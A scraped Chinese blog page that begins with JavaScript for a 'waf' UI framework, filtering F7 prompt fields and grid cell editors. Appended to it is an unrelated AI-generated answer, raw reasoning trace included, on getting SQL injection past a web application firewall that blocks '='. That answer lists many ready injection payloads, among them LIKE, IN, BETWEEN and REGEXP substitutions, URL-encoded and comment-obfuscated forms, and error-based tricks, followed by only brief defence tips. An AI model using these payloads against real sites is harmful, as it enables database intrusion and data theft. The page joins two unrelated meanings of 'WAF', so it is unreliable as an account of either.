waf2过滤(F7 字段的过滤)

本文详细介绍了使用WAF框架进行数据过滤和编辑配置的方法,包括如何通过调用不同服务来获取过滤条件,以及如何在编辑表格时动态设置单元格编辑器的过滤项。这些操作对于实现灵活的数据展示和编辑至关重要。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

    	filterPosition:function(e){
     var applicant = waf("#appPerple").wafPromptBox("getValue");
			if(applicant){
				waf.doPost({
                action:"unAuditService",
                data:{
				  _method: "getPositionIds",
				  applicantId:applicant.id
				},
                success:function(data){
				  if(data!=null && data.ids!=null){
					var ids = data.ids;
              var deparmentids = data.deparmentids;      
					waf("#position").wafPromptStandard("option", "filteritem", "id in (" + ids+")");
              waf("#departments").wafPromptStandard("option", "filteritem", "id in (" + deparmentids+")");
			  }
                }
            });
			}
        }
	 waf.doPost({
			  action:"commonDataProcess",
			  data:{
			   _method: "filterCostAccount",
			   billtype:"003"
			  },
			 success:function(data){
				  if(data!=null && data.ids!=null){
					var ids = data.ids;
					//waf("#feiyongkemu").wafPromptStandard("option", "filteritem", "id in (" + ids+")");
					//waf("#position").wafPromptStandard("option", "filteritem", "id ='5bx7ck1URSaYjmunKDspfgEnvWg='");
					waf('#editgrid1').wafGrid('setCellEditorAllConfig', "feiyongkem","filteritem","id in (" + ids+")","promptGrid",null); 
				  }
                }
			 });
			
        }
	,// 分录项目F7 的过滤实现     正式环境  股权投资类型 id要 改
       
		beforeEditRow:function(rowid,cellname,value,iRow,iCol,rowdata){
            var filter = waf.parseSql.getFilter("investmentType.id", "=", "N5cAAAAAMs2g6U9T")
            waf('#entrys').wafGrid('setCellEditorAllConfig', "projectName","filteritem",filter,"promptGrid",null); 
        }
  //分录问题 根据项目过滤
		beforeEditRow:function(rowid,cellname,value,iRow,iCol,rowdata){
            var number=waf("#projectNumber").wafPromptBox("getValue").number;
            var a = waf.parseSql.getFilter("projectNumber.number", "=", number)
           // var b = waf.parseSql.getFilter("ProjectBasis.billStatus", "=", 3);
           //var filter= waf.parseSql.mergeFilter([a,b],"and")
            waf('#entrys').wafGrid('setCellEditorAllConfig', "issueF7","filteritem",a,"promptGrid",null); 
        }

 单据头的F7过滤    一般写在页面打开后  或者 数据加载

      //根据启用时间 和  项目状态过滤项目
        var model=_self.getCurrentModel();
        var bizDate= model.bizDate;
        var a = waf.parseSql.getFilter("year", "=",bizDate.split(" ")[0].split("-")[0]);
        var b = waf.parseSql.getFilter("billStatus", "=", 15);
        var filter= waf.parseSql.mergeFilter([a,b],"and")
        //waf('#entrys').wafGrid('setCellEditorAllConfig', "projectName","filteritem",filter,"promptGrid",null); 
        waf("#projectNumber").wafPromptStandard('option','filteritem',filter);

<think>我们正在讨论SQL注入绕过WAF的技术,特别是针对等号(=)过滤的情况。根据引用[2],绕过WAF的关键在于发挥创造力,因为WAF通常只过滤管理员配置的内容,而一些合法使用的内容必须被允许,因此总会有绕过的方法。 在SQL注入中,等号(=)常用于条件判断(例如WHERE子句)和赋值。当等号被过滤时,我们可以考虑以下替代方法: 1. **使用比较运算符替代等号**: - 使用`LIKE`运算符:`=`可以用`LIKE`替代,因为当没有通配符时,`LIKE`的效果等同于`=`(但注意,LIKE在语义上用于字符串,而=可用于数值和字符串,且LIKE可能受字符集影响)。 例如:`?id=1' AND 1 LIKE 1 -- ` 替代 `?id=1' AND 1=1 -- ` - 使用`IN`运算符:`=`可以用`IN`替代,特别是当比较单个值时,`IN (value)`等同于`= value`。 例如:`?id=1' AND 1 IN (1) -- ` 2. **使用数学不等式**: - 使用大于(>)和小于(<)组合:例如,`?id=1' AND (3>2) -- ` 替代 `?id=1' AND 1=1 -- `。但注意,这只能用于布尔判断,不能直接用于赋值。 3. **使用位运算符或算术运算符**: - 使用加减法:例如,`?id=1' AND 0+1=1 -- `,但这里等号还是被使用了。我们可以避免等号,用其他方式构造条件。 例如,使用减法判断:`?id=1' AND 1-0 -- `,这相当于`1=1`(因为1-0的结果为1,在布尔上下文中被视为真)。但这种方法依赖于数据库将数值解释为布尔值的能力(在MySQL中,非0即为真)。 4. **使用CASE语句**: - CASE语句可以用于条件判断,而不需要等号(在条件部分仍然需要,但我们可以用其他方式避免)。然而,在CASE语句中,WHEN子句通常需要等号。我们可以利用WHEN后的表达式可以是任意条件表达式,而条件表达式可以用不等式或LIKE等构造。 例如:`?id=1' AND CASE WHEN (1 LIKE 1) THEN 1 ELSE 0 END -- ` 5. **使用字符串函数**: - 使用`STRCMP`(在MySQL中)或其他数据库的字符串比较函数。例如,在MySQL中:`?id=1' AND STRCMP('a','a')=0 -- `,这里等号还是被使用了。但我们可以利用STRCMP返回0表示相等,而0在布尔上下文中为假,非0为真。因此,我们可以这样:`?id=1' AND NOT STRCMP('a','a') -- `,因为STRCMP返回0,NOT 0为真。 6. **使用赋值运算符(:=)**(在MySQL中,但注意这通常用于变量赋值): - 在MySQL中,我们可以使用`:=`进行赋值,但它在条件判断中并不直接替代等号。 7. **使用其他比较运算符**: - 例如,使用`BETWEEN`:`?id=1' AND 1 BETWEEN 1 AND 1 -- ` 等同于 `1=1`。 8. **使用IF函数**: - 在MySQL中,`IF(condition, true_value, false_value)`,其中condition可以用不等式或LIKE等构造。例如:`?id=1' AND IF(1 LIKE 1, 1, 0) -- `,这相当于条件为真时返回1。 9. **利用注释符**: - 在某些情况下,我们可以使用注释符来分割关键字,从而绕过过滤。例如,在MySQL中,`/*! ... */`内可以包含特定版本的SQL代码。例如:`?id=1' /*!AND*/ 1 /*!=*/ 1 -- `,但这里等号还是被过滤了,所以我们需要避免等号。 10. **使用正则表达式**(在支持正则表达式的数据库如MySQL、PostgreSQL): - 例如,在MySQL中:`?id=1' AND 'a' REGEXP 'a' -- `,这相当于`'a'='a'`。 11. **使用NULL安全比较运算符(<=>)**(在MySQL中): - 在MySQL中,`<=>`是NULL安全的等于运算符,它可以用在等号被过滤的情况,但注意这个运算符也可能被过滤。 12. **使用其他技巧**: - 使用`IN`结合子查询:例如,`?id=1' AND (SELECT 1) IN (1) -- `。 - 使用`SIGN`函数(用于数值):例如,`?id=1' AND SIGN(1-1)=0 -- `(这里等号还是被使用,但我们可以用其他方式表达等于0:`?id=1' AND NOT SIGN(1-1) -- `,因为0为假,NOT假为真)。 **注意**:不同的数据库系统(如MySQL、SQL Server、Oracle、PostgreSQL)有不同的语法和函数,因此需要根据目标数据库调整绕过方法。 另外,引用[1]提到可以使用HTML实体,但这里我们讨论的是SQL注入,所以HTML实体可能不直接适用,除非是在一个通过HTML实体编码来过滤输入的环境中。例如,如果WAF过滤等号,但允许HTML实体,我们可以尝试将等号编码为`=`或`=`,然后由应用程序解码。但这种方法取决于应用程序是否对输入进行HTML解码。 然而,在SQL注入中,我们通常直接针对SQL查询,所以HTML实体编码可能只在应用程序有解码步骤时才有用。因此,我们可能需要尝试在注入点使用URL编码(如`%3D`)或其他编码方式,看WAF是否能够解码并过滤,而应用程序可能解码多次。 **实际绕过案例**: 假设目标URL为:`http://example.com/product.php?id=1` 原始注入尝试:`1' AND 1=1 -- `,但等号被过滤。 绕过方法1(使用LIKE): `http://example.com/product.php?id=1' AND 1 LIKE 1 -- ` 绕过方法2(使用IN): `http://example.com/product.php?id=1' AND 1 IN (1) -- ` 绕过方法3(使用BETWEEN): `http://example.com/product.php?id=1' AND 1 BETWEEN 1 AND 1 -- ` 绕过方法4(使用REGEXP,MySQL): `http://example.com/product.php?id=1' AND 'a' REGEXP 'a' -- ` 如果WAF过滤了空格,我们还需要处理空格问题(例如使用注释`/**/`或括号等)。 **总结**:绕过等号过滤的关键在于使用其他运算符或函数来达到相同的比较目的。需要根据目标数据库的特性选择合适的替代方法,并注意WAF可能对其他关键字的过滤情况,灵活组合使用。 §§相关问题§§ 1. SQL注入中,除了等号,还有哪些常见符号被WAF过滤?如何绕过? 2. 在MySQL中,如何使用LIKE运算符进行注入攻击? 3. 如何测试一个网站是否存在SQL注入漏洞,特别是在WAF存在的情况下? 4. 在SQL注入中,如何处理空格被过滤的情况?</think>### SQL注入绕过WAF技术:等号过滤的绕过方法 当Web应用防火墙(WAF过滤等号(`=`)时,可通过以下技术绕过限制实现SQL注入攻击: --- #### 1. **使用比较运算符替代等号** - **`LIKE`运算符**: 在字符串比较中替代等号,例如: ```sql ' OR 'a' LIKE 'a' -- ``` 等价于 `' OR 'a'='a' --` *适用场景:字符串条件判断* - **`IN`运算符**: 用于数值或集合匹配,例如: ```sql ' OR 1 IN (1) -- ``` 等价于 `' OR 1=1 --` *适用场景:布尔条件判断* - **`BETWEEN`运算符**: 数值范围匹配,例如: ```sql ' OR 3 BETWEEN 1 AND 3 -- ``` 等价于 `' OR 3=3 --` *适用场景:数值条件判断* --- #### 2. **使用数学表达式构造等价条件** - **算术运算**: 通过加减法制造等价条件,例如: ```sql ' OR 1-0=1 -- ``` 若等号被过滤,改用: ```sql ' OR 0+1 /*绕过等号*/ ``` *原理:在布尔上下文中 `0+1` 返回真(非零即真)* - **位运算**: 利用位操作替代比较,例如: ```sql ' OR 1 & 1 -- ``` 等价于 `1=1`(MySQL中 `1 & 1` 返回 `1`,即真) --- #### 3. **函数与特殊语法绕过** - **`REGEXP`/`RLIKE`(MySQL)**: 正则匹配替代等号,例如: ```sql ' OR 'admin' REGEXP '^admin' -- ``` - **`DECODE`(Oracle)**: 加密函数构造等价,例如: ```sql ' OR DECODE('a','a',1,0)=1 -- ``` - **`CASE`语句**: 隐式条件判断,例如: ```sql ' OR CASE WHEN (1) THEN 1 ELSE 0 END -- ``` --- #### 4. **编码与注释混淆** - **URL编码**: 将等号编码为 `%3D`,例如: ```sql %27%20OR%201%3D1%20--%20 ``` *适用场景:WAF未解码URL输入时[^1]* - **内联注释**: 分割关键字绕过过滤,例如: ```sql ' OR 1 /*! = */ 1 -- ``` (MySQL特有语法) - **空白符变异**: 用 `%0A`(换行)、`%09`(制表符)分隔字符: ```sql '%0AOR%091%0ALIKE%091%0A-- ``` --- #### 5. **其他高级技巧** - **JSON语法(现代数据库)**: 例如PostgreSQL: ```sql ' OR ('{"a":1}'::jsonb) @> '{"a":1}' -- ``` - **错误注入替代等号**: 触发条件错误判断,例如: ```sql ' OR 1/(CASE WHEN (1) THEN 1 ELSE 0 END)=1 -- ``` *若条件为真返回 `1=1`,为假触发除零错误* --- ### 防御建议 - **参数化查询**:彻底避免SQL注入。 - **多层级过滤**:结合语法分析+行为检测的WAF策略[^2]。 - **输入规范化**:统一转换URL编码/空白符后再检测。 > **注意**:绕过技术需根据目标数据库(MySQL/Oracle/SQL Server等)调整,实战前建议测试WAF规则盲区[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值